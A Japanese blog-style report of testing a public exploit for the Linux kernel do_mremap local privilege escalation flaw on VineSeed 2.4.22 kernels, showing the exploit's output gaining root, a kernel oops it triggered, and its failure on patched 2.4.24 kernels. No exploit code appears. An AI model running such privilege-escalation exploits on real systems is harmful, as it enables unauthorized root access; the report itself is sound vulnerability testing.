Linux kernel do_mremap local privilege escalation vulnerability
結果:
$ ./mremap_exploit-20040116 [+] Please wait...HEAVY SYSTEM LOAD! 496 of 1114129 [ 0 % ETA 17961.8 s ]
(この間、4時間以上…)
1114067 of 1114129 [ 99 % ETA 1.1 s ] [+] overflow done, the moment of truth... [+] parent unprotected PTE depopulate SLAB #1 [!] parent check race... SUCCESS, cought SLAB page! [+] PID 32411 GOT UID 0, enjoy! #
と、root権限奪取に成功した。
実際にrootで色々やってみる:
# id -a uid=0(root) gid=0(root) 所属グループ=500(nozom),10(wheel),502(cdwrite) # cd /root/ # touch test # ls -l test -rw-r--r-- 1 root root 0 Jan 17 19:13 test # rm test #
テストした環境はVineSeedで、kernelのバージョンは2.4.22-0vl8(脆弱性未対策の古いバージョン)。その他のパッケージはapt-getで最新にしてある。
気がついたこととして、exploitコードの実行を開始してから、他のプロセスがランダムに死ぬことがある。
kernel BUG at vmscan.c:270! invalid operand: 0000 CPU: 0 EIP: 0010:[] Tainted: P EFLAGS: 00210246 eax: 00002000 ebx: 00002000 ecx: 00002000 edx: cc65a000 esi: c4d34120 edi: 00000020 ebp: ccbea9c0 esp: cd9e3d18 ds: 0018 es: 0018 ss: 0018 Process less (pid: 9348, stackpage=cd9e3000) Stack: c4d34120 00000000 ffffffff 0000158b c12ae0c0 c3b16000 c1000020 c3b16000 00002000 cc65a000 00000020 c4d34120 cd9e2000 00000020 c034f3b8 c0147fad c4d34120 00000020 cd9e3d68 c034f3b8 0000009c 00000008 c109d9a0 c034f3b8 Call Trace: [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] [ ] Code: 0f 0b 0e 01 68 a1 30 c0 e9 54 ff ff ff 8d 74 26 00 55 57 56
詳しいことは知らないが、このexploitコードは、カーネル領域にあるプロセスのuidを書き換えている?らしいのでそのせいかなと思う。
- 追記:別のカーネルでの結果。
kernel-2.4.22-0vl10でもexploitできた。
この問題の対策がされたkernel-2.4.24-0vl2、kernel-2.4.24-0vl4では、
$ ./mremap_exploit-20040116 [-] ERROR remapping remap1: Invalid argument entering endless loop
と、そもそも不正な引数によるremappingができない。(exploitは失敗する)
結論としては、パッチ当てれば防げますよ、ということかな。